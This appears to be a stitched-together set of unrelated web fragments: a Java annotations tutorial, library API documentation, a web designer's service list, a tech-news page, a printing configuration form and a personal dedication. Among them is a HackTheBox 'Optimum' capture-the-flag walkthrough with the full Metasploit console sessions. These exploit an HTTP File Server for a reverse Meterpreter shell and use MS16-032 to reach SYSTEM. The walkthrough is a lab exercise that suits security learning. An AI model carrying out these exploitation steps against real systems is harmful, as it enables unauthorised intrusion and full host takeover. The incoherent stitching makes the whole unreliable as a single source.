public static final RetentionPolicy RUNTIMEAnnotations are to be recorded in the class file by the compiler and retained by the VM at run time, so they may be read reflectively.
Respectively here you can find the allowed types for @Target.
Ok so we have created our annotation, if we like we can also add arguments to it:
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface Furious {
public String name();
}
Now that we are ready lets mark our class with the annotation
@Furious(name = "nomikosi")
public class TestClass {
}
Of course we don’t just mark annotations without a reason, we do want them to serve a purpose. In our case we just want to print something in the console. Of course business logic usually is a lot more complex.
public static void main(String[]args){
Class clazz = TestClass.class;
Annotation[] annotations = clazz.getAnnotations();
for(Annotation annotation:annotations){
if(annotation instanceof Furious){
System.out.println("Dont play with a furious class!!");
}
}
}
Finally one useful trick, if you like your annotation to be inherited by sub classes mark them with @Inherited.
As additional reference material you can check out this and this guide from Oracle. Code for this sample project can be found at my repo.


Web Designing
As a web designer,I create the look, layout, and features of a website.It involves understanding both graphic design and computer programming. Once a website is created, I help with maintenance and additions to the website.
A web designer's job duties cover all aspects of creating a website. Upon meeting with clients and assessing their needs,I helpto create and maintain the design such as Writing and editing content,Designing webpage layout,Determining technical requirements,Updating websites,Creating back up files,Solving code problems.
Wordrpess Development
As a Wordpress Developer,I do Designing and implementing new features and functionality,
Establishing and guiding the website’s architecture,
Ensuring high-performance and availability and managing all technical aspects of the CMS,
Helping formulate an effective, responsive design and turning it into a working theme and plugin.
Html / CSS
As a front-end developer,have ability to build a webpage from scratch using purely HTML, CSS, and JavaScript
Knowledge of browser compatibility issues,Solid understanding of the relationship between HTML and search engine optimization (SEO),Familiarity with differences between HTML5 and older versions of the standard.
Web Development
As a Web Developer,I create Website and software application designing, building or maintaining.
Using scripting or authoring languages, management tools, content creation tools, applications and digital media. performing Website updates.Editing, writing, or designing Website content.Maintaining an understanding of the latest Web applications and programming practices through education, study. Back up files from Web sites to local directories for recovery.Evaluating code is compatible with browsers, devices, or operating systems. Determining user needs by analyzing technical requirements.


When a concordion fixture is run multiple times, the results are cached. To test this, we call concordion:run on a fixture that is designed to fail if it is called twice.
In addition, circular dependencies (or tests run at the same time by the parallel runner) are run and marked as ignored


#include <result.h>
Inheritance diagram for pqxx::result::const_iterator:
Public Member Functions | |
| const_iterator () | |
| pointer | operator-> () const |
| reference | operator * () const |
| const_iterator | operator++ (int) |
| const_iterator & | operator++ () |
| const_iterator | operator-- (int) |
| const_iterator & | operator-- () |
| const_iterator & | operator+= (difference_type i) |
| const_iterator & | operator-= (difference_type i) |
| bool | operator== (const const_iterator &i) const |
| bool | operator!= (const const_iterator &i) const |
| bool | operator< (const const_iterator &i) const |
| bool | operator<= (const const_iterator &i) const |
| bool | operator> (const const_iterator &i) const |
| bool | operator>= (const const_iterator &i) const |
| const_iterator | operator+ (difference_type o) const |
| const_iterator | operator- (difference_type o) const |
| difference_type | operator- (const_iterator i) const |
| result::size_type | num () const |
Friends | |
| class | result |
| const_iterator | operator+ (difference_type o, const_iterator i) |
A result, once obtained, cannot be modified. Therefore there is no plain iterator type for result.  This allows a result to be addressed as a two-dimensional container without going through the intermediate step of dereferencing the iterator.


--- title: The TTY demystified layout: post ---
The TTY subsystem is central to the design of Linux, and UNIX in general. Unfortunately, its importance is often overlooked, and it is difficult to find good introductory articles about it. I believe that a basic understanding of TTYs in Linux is essential for the developer and the advanced user.
Beware, though: What you are about to see is not particularly elegant. In fact, the TTY subsystem — while quite functional from a user's point of view — is a twisty little mess of special cases. To understand how this came to be, we have to go back in time.
I love in-depth techno-historical stuff like this.


To the one who has been through the highs and lows To the one who has seen all my phases To the one who has to bear with me creating a mess and adding problems in her life. 😄
I Know we fight a lot but somehow as water finds its way, we do too.
I believe in this effortless way of expressing affection and care for each other.😍
Hope everytime we pick it up from we left off. To the person who's presence is always cherished and the one who makes me exuberant. I'd just say, always ❤


Kaiju Open Source Realtime Comments
Comments
Add a comment
Post a comment
Full name
Email address
Comment body
Post comment


HackTheBox - Optimum
Reconnaissance
Starting with a Nmap scan to discover used ports and services behind, with our usual options:
-sC
runs defaults Nmap scripts-sV
tries to identify the software versions-oA
will output the results in files prefixed by nmap_tcp and using the formats xml, nmap and gnmap-p-
will scan all ports and not the 1000 usual ones
$ sudo nmap -sC -sV -O -oA nmap_tcp -p- $ip
Nmap scan report for <IP_ADDRESS>
Host is up (0.039s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 (90%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.36 seconds
And let’s start a UDP scan (with the -sU
flag) in the background:
sudo nmap -sU -p- -oA nmap_udp_1000 $ip
( I rooted this box before the UDP scan ended so… I don’t have the results :‘D)
Enumeration
| Port | Service | Version | Note |
|---|---|---|---|
| 80/tcp | http | HttpFileServer httpd 2.3 | vuln to EBD-ID 39161 and EBD-ID 34668 |
OS: Windows 2012 R2 (6.3 Build 9600) x64
Initial Foothold
Let’s go visit that webserver! Browse to http://<IP_ADDRESS>:
It looks like an online fileserver, maybe the file upload function has some vulnerability? Or the login page? Let’s check if the Internet has any public exploits:
So, we’ve got:
-
https://www.exploit-db.com/exploits/34668 : remote code execution with no PoC
-
https://www.exploit-db.com/exploits/39161 : remote code execution with a Python PoC
-
https://www.exploit-db.com/exploits/34926 : metasploit module for the exploit 34668
Buh, let’s try that Metasploit module ~~
msf5 > use exploit/windows/http/rejetto_hfs_exec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(windows/http/rejetto_hfs_exec) > set LHOST tun0
LHOST => tun0
msf5 exploit(windows/http/rejetto_hfs_exec) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] Using URL: http://<IP_ADDRESS>:8080/Ypf2Zr
[*] Local IP: http://<IP_ADDRESS>:8080/Ypf2Zr
[*] Server started.
[*] Sending a malicious request to /
/opt/metasploit/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/opt/metasploit/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /Ypf2Zr
[*] Sending stage (176195 bytes) to <IP_ADDRESS>
[*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:49162) at 2020-10-28 09:55:42 +0100
[!] Tried to delete %TEMP%\qNIDXs.vbs, unknown result
id
[*] Server stopped.
meterpreter >
And we get a non-privileged shell OPTIMUM\kostas
, that allows us to read user.txt.txt
:
meterpreter > getuid
Server username: OPTIMUM\kostas
meterpreter > dir
Listing: C:\Users\kostas\Desktop
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2020-11-05 07:12:27 +0100 %TEMP%
100666/rw-rw-rw- 282 fil 2017-03-18 12:57:16 +0100 desktop.ini
100777/rwxrwxrwx 760320 fil 2014-02-16 12:58:52 +0100 hfs.exe
100444/r--r--r-- 32 fil 2017-03-18 13:13:18 +0100 user.txt.txt
Some additional info about the system:
meterpreter > sysinfo
Computer : OPTIMUM
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : el_GR
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
Note: we are running a x86 meterpreter on a x64 bit system, we should keep that in mind for later.
Privilege Escalation
Does meterpreter has some exploit to suggest to elevate our privileges?
meterpreter > run post/multi/recon/local_exploit_suggester
[*] <IP_ADDRESS> - Collecting local exploits for x86/windows...
[*] <IP_ADDRESS> - 34 exploit checks are being tried...
[+] <IP_ADDRESS> - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
nil versions are discouraged and will be deprecated in Rubygems 4
[+] <IP_ADDRESS> - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
The trouble with local_exploit_suggester is that it’s only suggesting x86 exploits… One way to list x64 exploits would be to migrate our meterpreter to a x64 process. Lists the process with ps
:
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
228 4 smss.exe
332 324 csrss.exe
380 480 spoolsv.exe
388 324 wininit.exe
396 380 csrss.exe
440 380 winlogon.exe
480 388 services.exe
488 388 lsass.exe
548 480 svchost.exe
576 480 svchost.exe
636 480 svchost.exe
668 440 dwm.exe
676 480 svchost.exe
708 480 svchost.exe
772 480 svchost.exe
804 480 vmtoolsd.exe
824 480 VGAuthService.exe
836 480 svchost.exe
956 548 WmiPrvSE.exe
964 480 svchost.exe
1028 480 ManagementAgentHost.exe
1072 480 vds.exe
1164 480 WmiApSrv.exe
1328 480 svchost.exe
1392 480 dllhost.exe
1532 2412 cmd.exe x86 1 OPTIMUM\kostas C:\Windows\SysWOW64\cmd.exe
1572 480 msdtc.exe
1720 548 WmiPrvSE.exe
1884 1696 explorer.exe x64 1 OPTIMUM\kostas C:\Windows\explorer.exe
1988 708 taskhostex.exe x64 1 OPTIMUM\kostas C:\Windows\System32\taskhostex.exe
2064 2528 wscript.exe x86 1 OPTIMUM\kostas C:\Windows\SysWOW64\wscript.exe
2140 1532 conhost.exe x64 1 OPTIMUM\kostas C:\Windows\System32\conhost.exe
2412 2064 noNbQHcY.exe x86 1 OPTIMUM\kostas C:\Users\kostas\AppData\Local\Temp\rad17D63.tmp\noNbQHcY.exe
2500 1884 vmtoolsd.exe x64 1 OPTIMUM\kostas C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
2528 1884 hfs.exe x86 1 OPTIMUM\kostas C:\Users\kostas\Desktop\hfs.exe
Ideally, we want to migrate to a stable process like a service, not something that is likely to closed soon. Good targets include explorer.exe
, vmtoolsd.exe
, svchost.exe
, winlogon.exe
. Here, explorer.exe
is x64 and is reliable, it’s a good candidate. To migrate to this process, use migrate
followed by the PID of the targeted process:
meterpreter > migrate 1884
[*] Migrating from 2412 to 1884...
[*] Migration completed successfully.
And re-run local_exploit_suggester
to check for x64 exploits:
meterpreter > run post/multi/recon/local_exploit_suggester
[*] <IP_ADDRESS> - Collecting local exploits for x64/windows...
[*] <IP_ADDRESS> - 17 exploit checks are being tried...
[+] <IP_ADDRESS> - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] <IP_ADDRESS> - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
We’ve got a couple of options but maybe Windows Exploit Suggester has more results?
Download the script:
git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
Install the dependencies:
pip2 install --user xlrd --upgrade
Update the database:
python2 windows-exploit-suggester.py --update
This will create a database of the vulnerabilities as a .xls file.
The script only need the output of systeminfo to suggests vulnerabilities, just grab the output of systeminfo
from the machine and save it to systeminfo.txt. Run the script on your host:
# python2 ./windows-exploit-suggester.py --database 2020-10-28-mssb.xls --systeminfo systeminfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*]
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*] https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*]
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*] https://github.com/foxglovesec/RottenPotato
[*] https://github.com/Kevin-Robertson/Tater
[*] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*]
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*] https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*] https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*]
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*] https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*]
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*] https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*] https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*] https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*] https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*]
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*] https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*] https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*] https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*]
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*] Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*]
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*] https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*] https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*]
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*] https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*] https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*]
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*] https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*]
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*] https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*]
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*] https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*]
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*] https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*]
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*] https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*]
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*] https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*]
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*] https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*]
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*] http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*]
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*]
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*] https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*] http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*] http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*] http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*] http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*] http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*] http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*]
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done
There’s more than enough vulnerabilities to test here :o Let’s go with MS16-032 which has a metasploit module, it only requires a session. Put your meterpreter session in the background so you can use another module:
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(windows/http/rejetto_hfs_exec) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
show [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options
Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST <IP_ADDRESS> yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x86
1 Windows x64
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 2
SESSION => 2
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set target 1
target => 1
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST tun0
LHOST => tun0
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LPORT 5555
LPORT => 5555
A couple of comments about the options:
- use the number of the meterpreter session that was put in background earlier
- don’t forget to use the Windows x64 version of the exploit
- don’t set the LPORT to the same value than the one used by the first exploit (4444)
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:5555
[+] Compressed size: 1016
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\rAiYFpORok.ps1...
[*] Compressing script contents...
[+] Compressed size: 3596
[*] Executing exploit script...
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 2100
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 2080
[+] Resuming thread..
[*] Sniffing out SYSTEM shell..
[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
lJFg3IiG0Ba1EYxP6ct5ZQStxdKRQH8r
[+] Executed on target machine.
[*] Sending stage (176195 bytes) to <IP_ADDRESS>
[*] Meterpreter session 4 opened (<IP_ADDRESS>:5555 -> <IP_ADDRESS>:49178) at 2020-10-28 19:09:52 +0100
[+] Deleted C:\Users\kostas\AppData\Local\Temp\rAiYFpORok.ps1
Booom, works like a charm!
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > dir
Listing: C:\Users\Administrator\Desktop
=======================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2017-03-18 12:52:56 +0100 desktop.ini
100444/r--r--r-- 32 fil 2017-03-18 13:13:57 +0100 root.txt
Loot that root.txt
and we’re out of here ~~


CS student in Lyon (France) and Open Source / Startups lover. I like building tools (generally with Python or Ruby) and ops tasks. Currently interning @ Upfluence.


Region:
Asia Pacific
Canada
China
Europe
North America
API key with read permission for the Configuration area, and read/write permissions for the Task-Lists area:
Test API Key
Automatic printing
Manual printing
Interval in minutes (ie: .25, 1, 1.5, 5):
Auto Start
Select Alma Printer Queue(s):
Select Local/Network Printer:
Unit of measure:
millimeters
centimeters
inches
pixels
Color:
Color
Grayscale
Border Top:
Border Right:
Border Bottom:
Border Left:
Format:
A3
A4
A5
Legal
Letter
Tabloid
Custom...
Orientation:
Portrait
Landscape
Page Width:
Page Height:
OK
Cancel
Printer Profiles:
Add Printer Profile
Edit Printer Profile
Remove Printer Profile
Save and Continue Printing
Cancel and Continue Printing


BenchSci
$22M
SERIES B
Securitize
Undisclosed amount
VENTURE CAPITAL
Apps >
- YouTube claims to share billions in ad money with creators, unlike Instagram
- WhatsApp no longer works on millions of (very) old phones
- Google accidentally shared your cloud video backups with strangers
- Twitter now lets you report voter suppression -- here's how
- How to use Apple Maps' nifty collection feature
Gear >
Most Popular
Dyson patents headphones that double as an air purifier for your face
Napier Lopez 15 hours ago
- Dyson patents headphones that double as an air purifier for your face
- Trump's former campaign manager really digs Escobar's new foldable phone
- BlackBerry phones are dead.... again
- Leaked video shows Samsung’s upcoming foldable clamshell in action
- The electric Hummer is real, and it's as fast as the Cybertruck
Tech >
Most Popular
US Army plans to bring human-AI interaction to the battlefield
Thomas Macaulay 14 hours ago
- Report: Amazon's negotiation strategy for HQ2 was called 'Fuck you. We're Amazon'
- US Army plans to bring human-AI interaction to the battlefield
- AI composers might just be the next big thing in music
- New bill could kill NASA’s Moon base plans
- Google Photos tests $8 feature to auto-print 10 photos every month
Creative >
Most Popular
Leaked trailer offers a new look at Godfall, the first game announced for PS5
Mix 14 days ago
- How to design better button
- Giphy debuts Arcade, a platform for making and playing 'microgames'
- Microsoft's new font for devs is very aesthetically pleasing (and free)
- How to build a production and recording studio that fits in a backpack
- Watch: Disney’s new anti-vibration tech maps CGI movements onto actual robots
Insights >
Most Popular
Venezuelan retailers can’t replace stock because of Maduro’s Petro ‘cryptocurrency’
Matthew Beedham 21 hours ago
- UK speeds up its ban on petrol, diesel, and hybrid cars by 5 years
- Here’s how much money you made Google by staring at its ads for 20 years
- Venezuelan retailers can’t replace stock because of Maduro’s Petro ‘cryptocurrency’
- MasterCard CEO on Facebook's Libra: 'I don't understand how that works'
- The Netherlands will give citizens up to $4,400 for buying new electric vehicles
Launch >
Most Popular
PSA: Amazon Fresh grocery deliveries are now free for US Prime members
Abhimanyu Ghoshal 3 months ago
- Google Assistant gets its own phone number in India
- Pam and Angela from The Office are re-watching the show for their new podcast
- Bethesda wants you to test its game streaming tech with DOOM on iOS this year
- Mozilla rolls out new automated crypto-jacking filtering in Firefox
- Google announces Stadia, its cross-platform game streaming service
Distract >
- Flashpoint archived thousands of old Flash games because someone had to
- Netflix is turning One Piece into a live-action series and I'm worried
- You can now bother Google for tech support with #AndroidHelp
- Watch this Sonic movie-themed Wiz Khalifa music video you didn't know you needed
- This free font was designed to make it easier for devs to read code
FastestVPN: Lifetime Subscription (5 Devices)
$600 $19.99
The Essential PHP Coding Bundle
$516$29.99


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object | +--net.sf.saxon.trans.RuleManager
RuleManager maintains a set of template rules, one set for each mode
| Constructor Summary | |
RuleManager()
create a RuleManager and initialise variables. |
| Method Summary | |
Mode |
getMode(int modeNameCode)
Get the Mode object for a named mode. |
Template |
getNextMatchHandler(NodeInfo node,
Mode mode,
Template currentHandler,
Controller c)
Get the next-match handler after the current one |
Template |
getTemplateRule(NodeInfo node,
Mode mode,
Controller c)
Find the template rule registered for a particular node in a specific mode. |
Template |
getTemplateRule(NodeInfo node,
Mode mode,
int min,
int max,
Controller c)
Get a template rule whose import precedence is in a particular range. |
void |
resetHandlers()
Set up a new table of handlers. |
void |
setHandler(Pattern pattern,
Template eh,
Mode mode,
int precedence)
Register a handler for a particular pattern. |
void |
setHandler(Pattern pattern,
Template eh,
Mode mode,
int precedence,
double priority)
Register a handler for a particular pattern. |
| Methods inherited from class java.lang.Object |
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
public RuleManager()
| Method Detail |
public void resetHandlers()
public Mode getMode(int modeNameCode)
modeNameCode
- The name code of the mode. Supply Mode.DEFAULT_MODE to get the default
mode or Mode.ALL_MODES to get the Mode object containing "mode=all" rules
public void setHandler(Pattern pattern, Template eh, Mode mode, int precedence)
pattern
- A match patterneh
- The ElementHandler to be usedmode
- The processing modeprecedence
- The import precedence (use 0 by default)public void setHandler(Pattern pattern, Template eh, Mode mode, int precedence, double priority)
pattern
- Must be a valid Pattern.eh
- The Template to be usedmode
- The processing mode to which this element handler appliesprecedence
- The import precedence of this rulepriority
- The priority of the rule: if an element matches several patterns, the
one with highest priority is usedPattern
public Template getTemplateRule(NodeInfo node, Mode mode, Controller c) throws javax.xml.transform.TransformerException
node
- The NodeInfo for the relevant nodemode
- The processing modec
- The controller for this transformation
javax.xml.transform.TransformerException
- if any error occurspublic Template getTemplateRule(NodeInfo node, Mode mode, int min, int max, Controller c) throws XPathException
node
- The node to be matchedmode
- The mode for which a rule is requiredmin
- The minimum import precedence that the rule must havemax
- The maximum import precedence that the rule must havec
- The Controller for the transformation
XPathException
public Template getNextMatchHandler(NodeInfo node, Mode mode, Template currentHandler, Controller c) throws javax.xml.transform.TransformerException
node
- The node to be matchedmode
- The processing modecurrentHandler
- The current template rulec
- The Controller for the transformation
javax.xml.transform.TransformerException
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
